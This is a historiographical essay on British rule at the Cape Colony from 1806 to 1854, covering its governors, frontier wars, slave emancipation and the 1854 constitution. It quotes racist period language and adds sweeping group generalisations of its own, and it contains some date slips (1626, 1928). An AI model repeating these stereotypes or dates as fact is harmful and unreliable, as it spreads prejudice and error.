Most historians and Afrikaner scholars fail to offer sound alternatives to the political debacle of the 1800s and to indicate how early Afrikaner nationalism and its hunger for territory and political power over the non-Whites could have been managed differently. It took an outsider, the historian JM Roberts4, to do this in the space of only a few pages in his History of the World. The De Mist Code was by far the best guideline for managing affairs at the Cape. It had the potential to change the attitudes of both non-White and White inhabitants and to unite them under a good leader. The potential of the code was immediately lost with the British imperial intervention of 1805. The British failed to understand the early Afrikaner, perhaps as result of their “civilized” British culture. De Mist and the Batavian rulers did have this understanding. Van der Merwe5 rightfully points out that there was too much of the Rousseau doctrine left in the British mindset and too little common sense.1,2,4,5

However, the British also failed as a result of how contaminated the system was by the political dogmas, doctrines and ideologies of the early Afrikaners and the non-Whites themselves. Neither the early Afrikaners nor the non-White tribes designed these dogmas, doctrines and ideologies. They were inherited from the various foreigner rulers of the Cape and exacerbated by poor leadership. The British were notorious for ruling with dogma.1,2,4,5

De Mist retired on 25 September 1804 and moved back to the Netherlands in February 1805, leaving the enormous task of being governor to Janssens. However, the plans for the new Cape Colony came to an absurd end with the military takeover on 18 January 1806. The Cape surrendered to the British forces under David Baird for a second and last time.1,2,5

3.3 Second British occupation of the Cape Colony (1806–1814)9

3.3.1 Autocratic governors

Up to 1814 the British held the Cape Colony by conquest and not by treaty rights. The legal position of the Cape Colony as a full British possession was only finalized with the Peace of Paris. The six governors for 1807 to 1814 were1,2,9:

1807–1808: David Baird

1808–1808: Henry George Grey

1808–1811: Du Pré Alexander, 2nd Earl of Caledon

1811–1811: Henry George Grey

1811–1814: John Francis Cradock

1813–1814: Robert Meade  (acting)

From day one it was clear that although the Cape Colony was held by conquest, which should technically have limited their rights to make large statutory and administrative changes, many changes and autocratic actions followed.1,2,5

The second British occupation resulted in comprehensive statutory changes and political conflict between the early Afrikaners and the British, as well as between the early Afrikaners and the various non-White ethnic groups. Although the British promised to maintain certain parts of the De Mist code, there was a dramatic change from a centralized governmental system to a autocratic one-man regime with the governor as head of the executive, legislative and juridical powers. There was no a consulting body to guard against the governor’s misuse of powers, he ruled by proclamation.10

The six governors were autocratic rulers who were only subject to the Secretary of State in London. Their submission was reflected in favouring the followers of the Prince of Orange in civil service appointments at the Cape. Although the Roman-Dutch Law was retained, the High Court was demoted to its lower level status of the pre-Batavian times, while the despised Office of the Fiscal with all its negative features was restored. The Burgher Senate was reinstated as a town council for Cape Town, while it also became an advisory body to the Cape government. Again, the Cape administration was overburdened by highly paid officials as during the first British occupation. The De Mist Code’s stipulations on churches and the improved Batavian administration of rural areas were retained, but the central governmental system was replaced by an autocratic one-man rule. At this time there was still no sign of democracy at the Cape.10

The White colonists were doing well financially as result of the growth in the shipping industry and better sales of produce to these visiting ships and a rise in exports. However, the Black–White conflict really reared its head. Racial conflict and governance problems were awaiting the colony. The Earl of Caledon (1808–1811)9

Caledon’s reign was autocratic, with him being in charge of the executive, legislative and judicial powers. There was no advisory body to temper his behaviour. He legislated by proclamation and was only accountable to the Minister of Colonies in London. He could do as he pleased, and in the case of urgent decisions, he did not always act with wisdom. The lag-time involved in communication meant that London could often not intervene.1,2,10

Some of Caledon’s more positive policies include the division of the territory’s six districts, namely the Cape, Stellenbosch, Tulbagh, Swellendam, Graaff-Reinet and Uitenhage, into smaller districts. This resulted in better administration and offered Caledon more control over the countryside and the unruly White frontiersmen. It enabled him to gradually expand the British system of centralizing political, judicial and legislative power. He attained this goal by establishing a circuit high court at Caledon to support the magistrate’s court, lower the cost of high court cases.10

Caledon regarded human rights as important, especially the position of the KhoiKhoi in the Colony. Up to this point the KhoiKhoi were treated as an independent group managed by own chiefs, although under the care of the Cape government. However, they disintegrated into small travelling groups without work or sometimes in the service of the White farmers. In November 1809, Caledon made the KhoiKhoi inside the country’s borders citizens to whom all laws were applicable. In an effort to manage their movement, all KhoiKhoi had to have a permanent place of residence and needed a pass from their employers to move around. Caledon tried to instil a work ethics in the KhoiKhoi and to make them a future substitute for the slaves, who became a problem for London from 1809. He also wanted to stop White farmers from abusing the KhoiKhoi and being cruel by enforcing work contracts between farmers and workers. This decision elicited a reaction from the London Mission’s managers in South Africa, Read and Van der Kemp, who lived in Bethelsdorp. Dissatisfaction with Caledon’s racial policy spread to London where the philanthropist William Wilberforce was already creating awareness of slavery and the mistreatment of the KhoiKhoi by the Whites at the Cape. This issue quickly escalated after 1814.1,2,10

The Xhosa problem needed swift action from Caledon. They were still living in the Zuurveld and frequently entered the districts of Graaff-Reinet and Uitenhage, causing chaos. However, it was clear to Caledon that driving them back would create conflict with London. He ultimately left an already failed border policy untouched. Black and White were in direct conflict over land, with various governments failing to offer a sound future strategy and a plan for a permanent working relationship between the two groups.1,2,10 John Francis Cradock (1811–1814)

The new governor ignored London’s request not to address the “Black problem” with military action and in the fourth Xhosa war, he drove the Xhosas back across the Fish River. In an effort to limit the fast northwards migration of White frontiersmen into Black territory, he also introduced a new system of land ownership in Cradock in 1813 where the Black-White conflict was prominent. He replaced the loan farm system with a system of hereditary possession, hoping to bind the farmers to their farms to stop them from migrating.10

Cradock’s actions against the Xhosas and the KhoiKhoi quickly got a reaction from the White missionaries at Bethelsdorp and other role players concerned about human rights. This led to the so-called “Swarte Ommegang” (Black Circuit) where several White farmers and their families were accused of theft and murdering KhoiKhoi. Although these accusations were found untrue by judges Strubberg and Cloete of the Circuit High Court, the White farmers lost trust in London as a ruler and in the foreign missionaries. From then onwards the mission stations were side-lined. The Blacks and Whites were now positioned as enemies.1,2,10

Strubberg and Cloete of the Circuit High Court gave a description of how chaotic Black-White relations became in 1814. The groups were played off against each other by foreign powers like Wilberforce in London and Read and Van der Kemp in South Africa. The two judges described the KhoiKhoi at Bethelsdorp as people living in a situation where10:162:

…the natural state of barbarism has seemingly taken the place of civility and social order…where laziness and idleness and the subsequent dirtiness and taintedness have grown to perfection (Own translation)

The two judges also commented on the feebleness of people like Wilberforce in London and Read and Van der Kemp in South Africa as they played off Blacks and Whites in 1814. Grundlingh quotes them as follows10:161:

If the lords Van der Kemp and Read went to the trouble of succinctly and impartially investigating the different stories they were told, they would have viewed many of these complaints that caused a racket inside and outside of the colony as purely fictional, and as a result neither the court nor the government would have been pestered (Own translation).

The Black Circuit was the first sign for the Cape Colony’s inhabitants, especially for the White frontiersmen, that the Peace of Paris of 1814 would change their lives forever and that the British had different plans for them.

Roberts writes as follows about the dramatic impact of the British political system from 1814 onwards4:740:

No European nation has so successfully seeded the globe with its own stock as the United Kingdom. By the end of the nineteenth century, it had created an Anglo-Saxon world which was an identifiable sub-unit within the ambit of European civilization, with an historical destiny diverging from that of the European continent. Its components included growing British communities in Canada, Australia and South Africa (the first and the last containing other important national elements, too).

The Dutch descendants in the colony had settled into a quasi-Dutch lifestyle and governmental dispensation. The change to an autocratic British system was dramatic and they struggled to adjust. To some extent, they never accepted it and sought to escape, like with the Great Trek later. The indigenous people who mostly lived outside the Cape’s statutory and political management and control experienced this change from a Dutch to a British system as less dramatic. This was also true for the slaves who had become separated from the ruling processes as a result of their loss of human rights.1,2,5,10

Looking back at the British rule of 1806 to 1814 critically, it was an immensely autocratic regime, for Blacks and Whites alike. It left the Whites confused. The situation was equally devastating for non-Whites, especially the slaves, the KhoiKhoi and the KhoiSan. Notwithstanding their new status as citizens awarded by Caledon, they were exposed to abuses by the White frontiersmen of Swellendam, Graaff-Reinet and Uitenhage more than ever. On the other hand, the slaves, the KhoiKhoi and the KhoiSan were also often cruel and barbaric towards the Whites. Livestock was frequently stolen and they were lazy and undisciplined. No one-sided description of either of the groups at the Cape could do justice to history. These renditions of history should be considered critically. For example, one Afrikaner historian wrote as follows during the heyday of Grand Apartheid10:161:

Some of the complaints pertained to events in the remote past and a great number sprung from the fruitful and stimulated imagination of the Hottentots with their unbridled tongues and the malicious of unbalanced negro-loving zealots. It is true that there were cases where workers and servants had been abused in the pioneer community along the Cape borders, just like in America and even in a factory country like England, but one can assume that the Cape colonists did not act more callous than their White peers elsewhere and that the non-Whites in the Cape colony in general were better off than people elsewhere (Own translation).

Grundlingh10 words here are not quite true and are to a certain extent in line with the thinking of DF Malan, HF Verwoerd and BJ Vorster, leaders of the racist NP. He contradicts himself no less than six times in the above passage. By referring to the “remote past”, he acknowledges that the early Afrikaners did indeed commit wrongs towards the KhoiKhoi. With the reference to “unbalanced negro-loving zealots” he not only uses inappropriate language to create a false history for his Afrikaans readers, but also shows his subjectivity. This was so characteristic of the Afrikaner nationalist historians who wrote during Grand Apartheid. When he speaks of the “pioneer community along the Cape border”, he gives away his naiveté about who the Swellendam, Uitenhage and Graaff-Reneit border farmers really were. They unlawfully invaded Black territory, what we would call terrorism today. The claim that “the non-Whites at the Cape colony in general were better off than elsewhere” is a blatant lie. White farmers from Swellendam and environs went on official “hunting expeditions” to “terminate” KhoiSan and to take the KhoiSan womenfolk and children as “apprentices”, meaning forced slaves. This makes his claim far-fetched. These farmers constantly rebelled against the government, one reason being that their actions were no longer condoned.1,2,10

I would like to refer back to Geen’s1 words quoted in Part 5 about the calibre of the farmers who lived in the region of Swellendam, Graaff-Reinet and Uitenhage around 1814. They became the Voortrekkers, some rising as prominent Voortrekker leaders and politicians in the later republics of Transvaal and the Free State. Geen said1:29:

…but the isolation and difficulties of frontier life also made them limited in their outlook, impatient of all forms of control and so intensely individualistic that it became difficult to unite them in effective cooperation. They lost most of their civilization on the way to the Promised Land. Some could write, still more could sign their names, many read the Bible, especially the Old Testament, into which they read a justification of themselves, their beliefs and all their works, but for the rest learning and the affairs of the great world were closed books to them.

This lawlessness among the White frontiersmen resulted in the Slaughter’s Nek Rebellion in 1815 under Frederick Bezuidenhout, which ended with the hanging of five of the ringleaders by Lord Charles Somerset. Geen writes1:57:

In 1815, there occurred the Slaughter’s Nek Rebellion, a typical incident of lawlessness on a distant and disturbed frontier. It was really nothing more than the resistance of a truculent type of frontiersmen to the new conceptions of law, order and justice that were gradually being made effective in the remoter districts.

These farmers lost their civility on their way to the Promised Land. They were cut off from the rest of the world, the Bible serving as their only literature. They read especially the Old Testament and used it justify their actions. This isolation self-righteousness made for naïve decisions on governance later in the republics2:120-121:

The new British authorities had to deal with many of these culturally poor and isolated early Afrikaners on the one hand, and pre-modern Xhosas, KhoiSan and KhoiKhoi with little understanding of simple political and governance matters on the other. They had been schooled to deal with the enemy the African way for centuries, namely war. The political refined British found it difficult to manage the situation.

The second British Cape Colony (1806–1814) with the British holding the colony by conquest, undoubtedly improved the economy of the Cape. Also, from an objective political-historical view away from the contaminated writings of Afrikaner nationalist writers and historians, the governmental administration, law-enforcement and law-making as well as the execution of leadership, progressed. Although serious issues like border and racial conflicts remained largely unchanged, they did have plans to address it. The British governors were backed by a much stronger system than were the Batavian governors.

The South African race issue became more and more laden with aggression, hate and murderous intentions from 1814 onwards.

3.4 Third British occupation of the Cape Colony (1814–1872) by treaty1,2,9

3.4.1 Autocratic governors

The Cape Colony became a rightful British possession with the Peace of Paris. The Netherlands was forced to hand it over to the British Empire permanently in August 1814. The seventeen governors who served from 1814 to 1872 were as follows1,2,9:

1814–1826: Charles Somerset

1820–1821: Rufane Shaw Donkin

1826–1828: Richard Bourke

1828–1833: Galbraith Lowry Cole

1833–1834: Thomas Francis Wade

1834–1838: Benjamin d’Urban

1838–1844: George Thomas Napier

1844–1847: Peregrine Maitland

1847–1847: Henry Pottinger

1847–1852: Sir Harry Smith

1852–1854: George Cathcart

1854–1854: Charles Henry Darling

1854–1861: George Grey

1859–1862: Robert Henry Wynyard

1862–1870: Philip Edmond Wodehouse

1870–1870: Charles Craufurd Hay

1870–1877: Sir Henry Barkly

The British authority lacked democracy. On the other hand, the Boers wanted excessive freedom. This dissatisfaction with authority and the limitations of borders limited their vision. They were intolerant of all forms of control and so intensely individualistic that it became difficult to unite them for effective cooperation. This became characteristic of many of the Boers during the Great Trek and later on in their “Promised Land”, the Boer-republics.1,2,4,10

Between 1806 and 1814 there were not large numbers of British citizens in South Africa, so the British that were present were only there to rule. After 1814 this changed dramatically when thousand of British settlers arrived. Although they were outnumbered by the Boers, they had the backing of the British government and thus the Cape authority. The introduction of British assumptions and laws and the large new English population, created a world that the Boers were not ready for. This ultimately led to negative outcomes. Roberts reports4:777:

This opened a period of whittling away of the privileges of the Boers, as the Dutch farmers were called. In particular, they were excited and irked by any limitation of their freedom to deal with the native African as they wished. Their special indignation was aroused when, as a result of the general abolition of slavery in British territory, some 35,000 of their blacks were freed with, it was said, inadequate compensation.

The Boers became increasingly annoyed, especially with their lack of influence. The Boers found the British regime unacceptable and below standard with respect to full political rights. Roberts says the following about the relationship between the Boers and British4:778:

It was the beginning of a long period during which Anglo-Saxon and Boer struggled to live sometimes apart, sometimes together, but always uncomfortably, their decisions as they did so dragging in their train others about the fate of black African. Charles Somerset (1814–1826)

Somerset arrived at a time when the relationship between non-White and White and between British and Boer had been damaged. The autocratic Charles Somerset damaged these already sensitive relationships further with his management of the unrest at Slaughter’s Neck, causing the dislike for the British occupiers to increase as a result of his over-reach with his political and juridical powers.1,2,10

Somerset inherited the eastern border problem. The policy of segregation failed and led to further Xhosa attacks on the White areas. In this instable situation, two Xhosa leaders entered into conflict themselves. This caused the one leader, Ndlambe, to move into White territory. He reached as far as Grahamstown for an unsuccessful attack on 22 April 1819. Somerset ignored London’s liberal policy and started a clean–up operation by removing the Xhosas from the area between the Fish and Keiskamma Rivers, making the Keiskamma the new outer border. He created a neutral area between the Fish and Keiskamma Rivers as a buffer to keep the factions away from each other and reinstated the segregation policy.1,2,10

Somerset addressed slavery by issuing a proclamation in 1816 making it compulsory to register all slaves. In 1823 he determined the workdays and hours of slaves and prescribed the minimum standard of their food and clothing rations. Married slaves could no longer be sold separately, and the Christian religion had to be made available to them. The number of strokes for physical punishment, and their testimonies were allowed in the court in cases against their owners. In 1826, a slave protector was appointed in Cape Town and various assistant protectors in the rural areas to attend to the complaints of slaves.1,2,10

In the meantime, the British government acted to minimize the Dutch influence in the Cape. They Anglicized the churches, schools and the legal system.1,2,4,10

Although the autocratic and despotic one-man regime at the Cape was replaced by a governor and a Council of Advice that could make laws by way of ordinances, the early Afrikaners could give little input. The problems between the British and the Boers were largely attributable to failure on the side of the British to appoint an effective leader at the Cape who considered the interest of the Afrikaners. Roberts4 points out how this became a situation ready for conflict4:780:

When people then spoke of a ‘racial problem’ in South Africa, they meant the problem of relations between the British and Boers whose conciliation seemed the most urgent need. The defects of the settlement would take some time to appear. When they did it would be not only because the historical sense of the Afrikaner proved to be tougher than people had hoped, but also because of the transformation of South African society which had begun by the industrialization of the Rand could not be halted and would give irresistible momentum to the issue of black Africans.

These racial defects never disappeared – the foundation had been laid for Afrikaner nationalism and its rejection of anything British. The cracks that would lead to a deep divide among Afrikaners, the subsequent founding of the Republic of South Africa 1961, and Apartheid with its racial discrimination, had started to appear.1,2,4,10

The British government was caught off-guard by the British Settlers of 1820. The process started while Somerset was on leave in Britain (1820–1821), leaving the Cape in the hands of an acting governor, Donkin. The settlers, who were used to democracy, immediately got into conflict with the government. This brought a second force to the foreground against the Cape Colony’s way of ruling and their human rights practices. Although most of these immigrants had no voting rights in the UK (this only changed in 1832), they knew what discrimination was why they had to fight it. The settlers’ agitation and resistance on various terrains started slow political reform at the Cape.1,2,4,10

The arrival of the British settlers also affected the Boer–British relations. The settlers were placed in or near Black territories and close to the Xhosa conflict. They became the Eastern Province. They were more well-intended towards the Crown and were therefore considered a better defence. The Western Province was inhabited by a more political independent-minded population.1,11

The Cape colonists did not get into direct conflict with Somerset, they left that to the British Settlers. The settlers had success in 1828 when Bourke came to power.1,2,10

Grundlingh10 writes as follows about Somerset10:174:

The autocratic Somerset in his self-righteousness did not realize that the influence and power of the ruling “High Tories”, his congenial spirits and protectors, were decreasing in his mother land. The rise of the progressive “Young Tories” under the leadership of Canning, and especially the increasing power of the liberal Whi-opposition, heralded the beginning of the end of Somerset’s glory. The increasingly passionate criticism of Dr. John Philip and Exeter Hall contributed greatly to undermining the governor’s authority.

There is no doubt that Somerset made more enemies than friends and that his rule, besides the exaggerations of his Exeter Hall and settler enemies, had serious flaws like tyranny and corruption. The Governor was sharply criticized in the British parliament, and his actions came under the scrutiny of the Colebrook-Bigg commission, who visited the Cape from 1823–1826 for a thorough investigation into a number of government matters (Own translation).

The autocratic behaviours of the various governors at the Cape were being questioned. Human rights also began to make some progress, although it was still limited. The introduction of the first rudimentary rights for the Cape’s Black population was a prominent step in the right direction.11 Richard Bourke (1826–1828)

During Somerset’s second leave (1626–1628), the acting governor, Richard Bourke, suddenly had to face a flood of pro-Black sentiment from for instance John Philip. Bourke himself was pro-Black, and started a process to undo the limitations Somerset and earlier governors had imposed on the Black population. The Black-White conflict was steered by a liberal policy that the early Afrikaners saw as discriminatory. They felt that it affected their property, economic, social and political rights. The British started using KhoiKhoi to police Whites, and with Ordinance 49, all legislation that had forbidden Blacks to cross the border into the Colony was recalled. The punishment expeditions of White farmers to retrieve stolen livestock from across the borders were forbidden. Ordinance 50 recalled all legislation pertaining to the KhoiKhoi and lifted discriminatory laws against the free inhabitants of the Colony with respect to property rights, movement, living place, lifestyle or work and choice of work. The KhoiKhoi, Khoisan and free Coloureds received the right to own property. Legislation to fight slavery was also put in place, with laws to abolish it following. The political and social position of non-Whites in the bigger British society improved dramatically from 1928.1,2,11

This progress with Black emancipation was followed up with the rule of Galbraith Lowry Cole (1828–1833). He shortened the working hours of slaves and stipulated better accommodation. In August 1833 legislation was passed that slavery would be forbidden after the 1st of December 1836 in any of the British colonies.1,2,10

The reformations still did not bring democracy to the Cape. It was a first wave of human rights and freedom for the Xhosas, KhoiKhoi, KhoiSan and slaves.11 Benjamin D’Urban (1834–1838)

D’Urban inherited the immense task of emancipating 39 021 slaves. He had to calculate the value of the slaves. Compensation for slaves became a disputed topic in South African history books as parting with “Black gold” meant tremendous losses.1,2,10

Grundlingh writes10:179:

All this led to utter bewilderment at the Cape. Mortgages were foreclosed on; foreign agents and speculators exploited the confusion of the colonists by buying up their claims for ridiculously low sums. Many slave owners received one fifth or less of the capital value of their slaves. Wealthy families, especially the large patriarchal households in the Western Province, became so impoverished that many were unable to overcome the significant economic crisis. Stock farmers in the outlying districts also suffered. Although they had fewer slaves than the Boland farmers, some of them were quite considerable slave owners (Own translation).

The above Afrikaner sentiment that was mostly put on paper during NP rule, is misleading. Firstly, as with any apparatus or instrument used to generate money, there is always the unavoidable annual depreciation of the apparatus or instrument as a direct result of use and damage (with a slave this would take the form of aging, poor health, being constantly over-worked, poor accommodation, live conditions, and money already generated for his owner, etc.). It seems that the values were calculated on the sales value of the slaves (in other words a depreciated price) in 1836 and not on the initial purchase price minus the depreciation. Secondly, the many children born to slave parents became the sole property of the farm owners. Geen reflects as follows on the economic impact of the developments in the slave trade1:55:

It is true that the abolition of the slave trade proved to be a source of gain for a time, for the value of the slaves increased and, as their owners obtained considerable profit from the hire of their labour, greater care was bestowed on them.

Geen’s1 description below shows the subjectivity and arrogance of many of the White South African writers before 1990. They adhered to an undisputed right of ownership, even as late as the beginning of the 19th century. One human being may own another human as long as the owned person was Black1:55:

However, the numerous regulations made slave-ownership a burden, as the slaves were gradually removed from the control of their owners, though they continued to be private property. In contrast to the West Indies slavery at the Cape was largely domestic and the slaves on the whole were well treated, so that Lord Charles Somerset could write to the Colonial Secretary, ‘No portion of the community is better off or happier, perhaps, than the domestic slave in South Africa.

If the slaves were such a burden, why did the British government struggle so much to grant them freedom from 1816 onwards and why did the White slave owners at the Cape try everything to prolong slavery? Geen1 neglects to mention that it was only in the time of De Mist that the use of the pain bench and the barbarous torture of slaves were forbidden. The 1823, 1826 and the 1830 Ordinances had to end everything that was still happening to slaves. If the Whites were so “fond of their slaves”, seemingly as intimate family members, why did they want to keep them in chains? Somerset is the last person to make remarks on slaves. He had a track record of cruelty to any opposition, even other Englishmen, at the Cape.1,2 Did Geen1 forget the Slaughter Nek’s executions of five White farmers by Somerset or Somerset’s punishment of the Xhosas?

It later became fashionable for South African history books written by Whites to attack individuals such as William Wilberforce, his wife Hannah Gurney, Elizabeth Frey and Dr Philip and other Whites for their roles in the emancipation of not only of Black slaves, but also “free” Blacks from political oppression in their own country by foreign settlers. They were called “Black boeties” or “negrophiles”. These personal attacks lack any sound arguments and insight. These derogatory names were also used by the Afrikaner nationalists of the Verwoerdian republic to refer to Jan Smuts. “Liberal” people like Wilberforce were ahead of their times and they laid the foundation of today’s Code for Humanity. These “Black Boeties” should get more respect in the modern South African political history. They shone the rare light in a dusky world of abuse and suppression of non-Whites, helping to bring humanity to all.1,2,7,10,11,14-17

The importance of these early abolitionists, not only in South Africa but worldwide, is well described by Martinez12:235:

The abolitionists raised the political and moral consciousness of enough people to change the rules of their society. By redefining what was acceptable, they built a movement powerful enough to make the unthinkable inevitable. A similar task faces all those who value freedom today. The moral and political consciousness of society once again needs to be raised; a unifying, compelling, inspiring vision again needs to be articulated – and the ideal of freedom needs to be at its core.

The argument on the “value” of Black slaves is a further indication of how morally sick the White community at the Cape had become over time. Their value was calculated equally to that of cattle in the 1830s. Geen states1:56:

Besides some very old slaves, there were at the Cape 35,800 slaves valued at ₤3,041,290:6:0 – an average of just over ₤85 each…


The colonists did not object to the emancipation itself, …but they did resent the financial loss it involved and, still more, the fact that no vagrancy laws were passed to control the movements of the liberated slaves, who became ‘free persons of colour’ in terms of Ordinance 30.

South Africa had become a White country for the benefit of Whites only. “Free” non-Whites were walking around without work, homes and internal security by the 1830s because of the abuse of non-White labour and the orchestrated disorganization of their societal life, their political suppression, their dehumanization and the illegal occupation of their land by Whites. This resulted in immense poverty and political disorientation. The many similarities between the situation in the 1830s and the situation in South Africa from 1910 to 1994, are obvious. It shows us where the dispensation of 1910 to 1994 came from.1,2,10,14

The fact that farm activities came to a virtual halt without the presence of slaves after emancipation shows how selfishly slave owners previously profited from cheap labour. Why could the members of the large patriarchal families not do the work themselves given their numbers? Was it White laziness? The Council of Policy in 1717 described the Whites as “lazy and incompetent and more expensive than slave labour”,1:22 or was it because the White farmers were13:7-8:

…drunken, lazy, boorish oafs who went to stay at the Fort despite all threats and coercive measures, and set up boarding houses, attempted to exploit sailors and visitors, and further wasted their porch-sitting lives with endless drink and idleness, which is the root of all evil (Own translation).

or was it because,

…every common or ordinary European becomes a gentleman and prefers to be served than to serve…We have in addition the fact that the majority of the farmers in this Colony are not farmers in the real sense of the world, but owners of plantations, and that many of them consider it a shame to work with their own hands.1:25

Although the emancipation was meant to teach Cape Whites to find dignity in manual work, it failed to do so. The early Afrikaners’ alleged loss of about three million rand from the emancipation of the slaves in 1836, is nonsense.10:179 Why could the British settlers make a living on their farms at the Cape without slave labour?10

The poor remuneration to White farmers for their freed slaves is often cited as the main reason for the Great Trek. The poor payment was undoubtedly a secondary reason for the Great Trek, but later Afrikaner writers exaggerated its importance. The primary reason for the Great Trek was racism and the early Afrikaners blindly refusing to be equal to slaves and Black citizens.1,2,10

In this regard Geen writes1:67:

Perhaps, Mrs. Anna Steenkamp, a niece of Piet Retief, writing in 1876 has expressed as truly as anyone the most important cause of the Great Trek: ‘The shameful and unjust proceedings with reference to the freedom of our slaves; and yet it is not so much their freedom which drove us to such lengths, as their being placed on an equal footing with Christians, contrary to the laws of God, and the natural distinction of race and colour, so that it was intolerable for any decent Christian to bow down beneath such a yoke; wherefore we rather withdrew in order thus to preserve our doctrines in purity.

Geen gives an apt summary of the benefits of the emancipation1:56:

…in the words of the great English historian, Lackey, ‘The unweary, unostentatious and inglorious crusade of England against slavery may probably be regarded as among the three or four perfectly virtuous pages comprised in the history of nations’.

In the South Africa of 1830s emancipation did not bring one-man-one-vote, but at least it gave some dignity to non-Whites. However, they were low on the socio-economic ladder. The improvement came solely by order from London, not due to the morality or efficiency of the governors at the Cape.

D’Urban did make changes to the executive management of the Cape Colony to make it more liberal so that it could serve the people. He did this by the replacing the Council of Advisory by a Legislative Council and adding five to seven members to the Cape government. Although the governor’s autocratic power was not greatly affected by this change, this new legislative body’s approval was needed in future for the proclamation of ordinances. However, much of the government was still run from London.1,2,10

The Xhosa conflict did not disappear after the 1830s, notwithstanding the various ordinances to improve the citizenship of non-Whites. This hostile aggression of this situation was far more complex and the various Xhosa wars did not cease. In 1834 the Sixth Xhosa War broke out when 15 000 Xhosa soldiers unexpectedly entered the Colony. The outcome was devastating for the Whites (and for future Black-White relations): 22 White farmers were murdered, 456 homesteads burned down, 5 700 horses, 115 000 heads of cattle and 161 000 sheep were stolen by the Xhosas. D’Urban’s reaction was fierce and swift. He drove the Xhosas from the White farming areas and established the Province of Queen Adelaide between the Kei and Keiskamma rivers. London overruled this in 1836 and the area was handed back to the Xhosas with the reinstatement of the 1819 borders.1,2,10,14

By the end of D’Urban’s reign there had been no improvement in Black-White relations and the direct conflict between the two races raged on, especially the aggression from the Xhosas. In 1846 the new governor, Pedegrine Maitland (1844–1847), fought the War of the Axe. Again the Xhosa warriors penetrated the Colony in a war that lasted the terms of governor Henry Pottinger (1847–1847) and governor Harry Smith (1847–1852).1,2,10,14 Harry Smith (1847–1852)

Smith, like his predecessors, inherited the Cape Colony’s chaotic Black-White relations, border conflicts, growing Xhosa unlawfulness and a London government that lacked an understanding of the political and racial energies of Southern Africa. Some of Smith’s efforts to manage the border did partly correct some of the political failures of the past. In an effort to contain the ongoing war-like behaviour of the Xhosas, Smith declared the area previously known as the Province of Queen Adelaide a formal British area. The name changes to British Kaffraria, but it was not part of the Cape Colony. It became a separate Black reserve, managed by a Chief Commissioner that resorted with the British High Commissioner. However, peace still eluded the border areas. In 1850 military villages in British Kaffraria were destroyed by the Xhosas. Some of the inhabitants were murdered and the Colony was again entered again, which led to another series of murders of White farmers and the destruction of farms.1,2,10,14

What made the situation in 1850 worse, was the entrance of a non-White allied force against the British rulers of the Cape Colony. It no longer consisted of the Black inhabitants of British Kaffraria only, but of groups from Transkei and the Kat river KhoiKhoi. Smith indecisiveness on finding a workable solution to the growing Xhosa problem, led to his replacement by George Cathcart (1852–1854) who successfully reinstalled the British management of British Kaffraria. However, he did not really establish permanent Xhosa rule. This finding of a solution became the task of George Grey (1854-1861).1,2,10,14

By the 1860s it was clear that the autocratic Cape governors, guided by their unable imperial government in London, had been failing to serve all the inhabitants of the Cape, Black and White. The Cape Colony remained autocratic, while the racial situation became increasingly explosive. A permanent hostility had developed between the Whites, mostly the early Afrikaners, and the Xhosas. It seemed that the only resolution would be one of the groups being wiped out completely.1,2,10,14 George Cathcart (1852–1854)

By the 1850s the autocratic style of governance became untenable. A unity started developing among the White Afrikaans-speaking inhabitants and the English-speaking settlers and they started viewing the government as oppressive. This newfound unity was illustrated by their joint obstruction of the boat Neptune, which was set to unload bandits from Britain at the Cape in 1849. Harry Smith, the then governor, wrote as follows about this unity1:80: “This is the first occasion on which Dutch and English inhabitants coalesced in opposition to Government”. Prominent leaders against the penal colony for convicts (similar to Australia) were Porter, Solomon, Fairbairn, Molteno and Stockenström. This unity between the White groups goes deeper: they had an overwhelming belief that London was incapable of understanding the Cape inhabitants’ interests. They strove for self-government based on liberal, inclusive multi-racial politics.15,16

This unity changed the views in London, making the government more inclined to eventually granting some form of self-government for the Cape. The Attorney-General at the Cape sent a draft constitution to London, which was returned after revision by the Privy Council in London.1,2,10,14 This set into motion a process in 1830 where two petitions to London from the Albany District and Cape Town asked for representative government. It was without success. In 1841, the two districts re-petitioned London, on which the Colonial Secretary replied1:79:

The Colony was not ripe for such a measure’ and enlarged upon some of the difficulties in the way of introducing an elective assembly – the choice of a capital, the possible separation of the Eastern Province, the coloured franchise and the danger of the townsmen gaining control of the parliament.

In 1848, Harry Smith renewed the request for self-government at the Cape. This led to the preparation of another draft constitution in February 1850, but infighting delayed the outcome (infighting had behaviour become typical in South Africa and in the later Boer republics).1,2,10,14,16,18

During the office of Cathcart, the first signs of democracy appeared in the Cape Colony with the establishment of a Parliament in 1853 by her Majesty, the Queen. The constitution was finally approved in December 1852 by the Duke of Newcastle, the then Colonial Secretary. It was promulgated as the Constitution Act of 1854. In 1853, the Cape Colony became a British Crown colony. The Cape’s “independence” came through a gradual evolution and not a sudden revolution.1,15,16,18

Geen comments as follows on the work and powers of the first parliament (1854–1858)1:81-82:

The Governor had to convene Parliament at least once a year; he could dissolve both houses of the legislature or the House of Assembly alone; he could approve or veto the bills passed by Parliament or submit them to the Crown, which retained the power to disallow them within two years of their reaching England. The Executive Council was still composed of senior officials appointed by the Colonial Secretary and was responsible to the Governor and not to the Parliament, but it could not follow a policy opposed to the wishes of Parliament, which consisted of two houses. The upper house, called the Legislative Council, consisted of fifteen members elected for ten years, seven by the Eastern Province and eight by the Western Province. On the first occasion, the four members for each Province with the least number of votes had to retire after five years. Members had to be at least thirty years of age and possess ₤4,000 worth of general property or land to the value of ₤2,000. The Chief Justice was the President of the Council, but he had not the right of voting. The lower house, the House of Assembly, had a membership of 46, elected for five years by 22 constituencies, Cape Town alone being represented by four members. The Speaker…was elected by the members and he had a casting vote. The franchise was a liberal one and remained unchanged for almost forty years. The vote was given to all adult male British subjects, who earned at least ₤50 a year or had occupied for at least a year property with a minimum rental value of ₤25 per annum. Thus was Ordinance 50 carried to its logical conclusions and not on colour introduced by the new constitution.

The Constitution Act of 1854 was a relatively liberal document that prohibited any racial or class discrimination. It instituted a non-racial qualified franchise. The same qualifications for suffrage were applied equally to all males, regardless of race. It changed the Legislative Council to the Upper House of the new parliament, of which members were elected according to the Western Province and the Eastern Province that formed the Colony. A New Lower House, the Assembly, was also constituted.16,18

